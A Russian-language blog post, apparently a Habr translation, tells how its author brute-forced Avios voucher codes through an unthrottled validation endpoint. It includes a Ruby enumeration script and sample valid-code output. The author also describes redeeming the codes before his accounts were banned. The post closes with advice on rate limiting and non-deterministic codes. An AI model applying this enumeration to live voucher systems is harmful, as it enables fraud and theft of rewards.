![](https://habrastorage.org/getpro/habr/post_images/4b2/09e/450/4b209e4501a1ad9cceed710e92048459.png)
Если вы похожи на меня, то наверняка размышляли над идеей путешествовать по миру первым классом на халяву, смотрели YouTube и знаете о таких людях.
Это история о том, как я нашел ошибку в программе вознаграждений Avios Travel, который позволяет исполнить эту мечту*.
Пару недель назад я слетал в Нью-Йорк. Поскольку это моё первое посещение Штатов и первый трансатлантический перелёт, я то я был преисполнен энтузиазма. Вы бы тоже задали себе такие же вопросы:
Можно ли мне перейти в первый класс? Как это сделать? Что сказать? Как не выглядеть уродом, когда я обращусь с такой просьбой?
Увы, только добравшись до аэропорта вы поймёте, что процесс регистрации по большей части автоматизирован. Ваши шансы попросить прекрасную девушку на стойке о бесплатном апгрейде исчезающе малы. Но это заставило меня задуматься, как же люди это делают?
![](https://habrastorage.org/getpro/habr/post_images/b6c/782/e81/b6c782e815d0a8c2a4b62f8dde183e46.png)
Aer Lingus Aer Club
![](https://habrastorage.org/getpro/habr/post_images/eea/245/36b/eea24536bbedbf4d74aab93308cc1ee1.png)
British Airways Executive Club
Добро пожаловать в программы лояльности авиакомпаний.
Ничего экстраординарного. Люди давно знают о программах лояльности. Но у Avios есть кое-что уникальное. Так что это такое?
Баллы Avios — это общие баллы вознаграждений, которые принимаются в Aer Lingus, British Airways, Flybe, Iberia, kulula.com и Meridiana. Собирая баллы Avios в самолётах, отелях и прокате автомобилей, вы можете выбрать бонусные полёты по сотням направлений по всему миру.
После регистрации в программах лояльности Aer Lingus и British Airways я наткнулся на этот сайт. Это просто форма, которая позволяет клиенту ввести информацию о своем членстве, некоторые личные данные и код вознаграждения, который был ему отправлен. Вот здесь становится интересно.
Реализация
![](https://habrastorage.org/getpro/habr/post_images/ff4/d1c/f20/ff4d1cf2090d8bd4aeafa64cd827dbb0.png)
Пример уже использованного кода
Моё внимание сразу привлекли две вещи. Во-первых, из формы было видно, что на фронтенде выполняется простая проверка регулярных выражений для проверки соответствия формата. Во-вторых, во время ввода кода немедленно отображается, действителен ли он. Это выполняется через запрос AJAX.
Инструменты разработчика Chrome показали, что сетевые запросы для проверки кода уходят на этот URL. Потом мне пришла в голову мысль. Если я знаю формат кодов и я знаю конечную точку для проверки кода, то могу ли я создать 1000 случайных кодов в этом формате, а затем написать скрипт для их перебора и проверки?
Ответ: да, могу.
#!/usr/bin/ruby
require ‘httparty’
require ‘byebug’
url = “https://www.aviosvouchers.com/en/Collect/ValidateCode"
# [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1}
puts “Running Script…”
File.open(‘codes.txt’, ‘r’).each_line do |line|
data = line.split(/\t/)
code = data.first.delete!(“\n”)
request = HTTParty.post(url, body: {code: code.to_s})
json = JSON.parse(request.body)
puts “#{json} — #{code.to_s}” if json[‘value’] > 0
sleep(0.5)
end
puts “Finished Running Script.”
Этот скрипт читает список сгенерированных кодов в текстовом файле (вы можете генерировать коды на основе собственных регулярных выражений или использовать что-то вроде инструмента text-from-regex). Затем он отправляет POST-запрос на указанный URL. Если мы получаем валидный ответ (обычно, когда атрибут значения больше нуля), то отправляем ответ в CLI, и затем после небольшой паузы делаем следующий запрос.
Что получается в результате? Список ПРАВИЛЬНЫХ КОДОВ! (По очевидным причинам я изменил правильные значения ниже).
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5007652532665", “value”=>10000.0, “itemId”=>nil} — JCX328W
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7186731101111", “value”=>10000.0, “itemId”=>nil} — MYS272Y
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7409825562501", “value”=>1500.0, “itemId”=>nil} — XSL523V
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”2504822562501", “value”=>1500.0, “itemId”=>nil} — SYZ436G
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”8476533219878", “value”=>20000.0, “itemId”=>nil} — PEG924R
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”4318675747654", “value”=>500.0, “itemId”=>nil} — AHC939A
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”6509522562501", “value”=>1500.0, “itemId”=>nil} — JGZ792E
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5904736483764", “value”=>500.0, “itemId”=>nil} — DMB882D
После нескольких дней работы скрипта я получил множество валидных кодов, а после добавления этих кодов мой аккаунт выглядел так.
![](https://habrastorage.org/getpro/habr/post_images/068/9ee/b4a/0689eeb4a7a9a8c8267c91e170e53f4f.jpg)
Скриншот учётной записи BA
215 010 баллов Avios. Да, это очень много. Настолько, что я могу полететь из Лондона в Индонезию первым классом всего за 500 фунтов. Во мне пробудилась надежда, что мои мечты наконец-то воплотятся в реальность.
Но мечты не воплотились в реальность
Через некоторое время я начал сомневаться в законности таких действий. Если я забронирую рейс и использую эти баллы, каковы будут последствия? Здравый смысл в итоге победил, так что я решил уведомить Avios о проблеме, прежде чем публиковать эту информацию. Но похоже, что они исправили баг раньше, чем я успел сообщить.
![](https://habrastorage.org/getpro/habr/post_images/ea9/8dd/d40/ea98ddd407ff4b58e43d322fd3d135ef.png)
Конечная точка для проверки кодов более не доступна
На сайте больше нет мгновенной проверки кодов. Теперь для проверки нужно отправить целую форму со страницы. Кроме того, они похоже заметили меня и забанили мой аккаунт…
(Они также забанили мой аккаунт Aer Lingus, так что я не успел там сделать скриншот).
![](https://habrastorage.org/getpro/habr/post_images/52e/263/cad/52e263cade3f3296dd889cade35795e4.png)
Забаненный аккаунт BA
В заключение
Какие технические выводы можно сделать из этого? Как можно было развернуть систему с самого начала, чтобы избежать проблемы? На самом деле это несложно: нужно всего лишь ограничить количество и/или частоту запросов к конечной точке и сделать коды недерминированными, чтобы их было сложнее угадать.
- Лимит на запросы.
- Переменные и недетерминированные коды.
Наконец, если кто-то из Avios, British Airways или Aer Lingus читает это, я буду очень благодарен, если они разблокируют мои учётные записи. Я хотел бы продолжить накапливать настоящие бонусные очки, как любой нормальный человек.
*Дополнение
Я получил тонну сообщений на эту тему, так что позвольте внести ясность. Понимаю, почему люди предполагают, что я действовал злонамеренно с самого начала. Могу со всей искренностью заверить, что это не так, хотя вряд ли многие мне поверят. Тот факт, что я использовал найденные коды, связан скорее с волнением и азартом.
SanSYS
Им бы вполне мог помочь Throttling pattern
Эх, а я то надеялся, что вас наградили милями за найденный баг )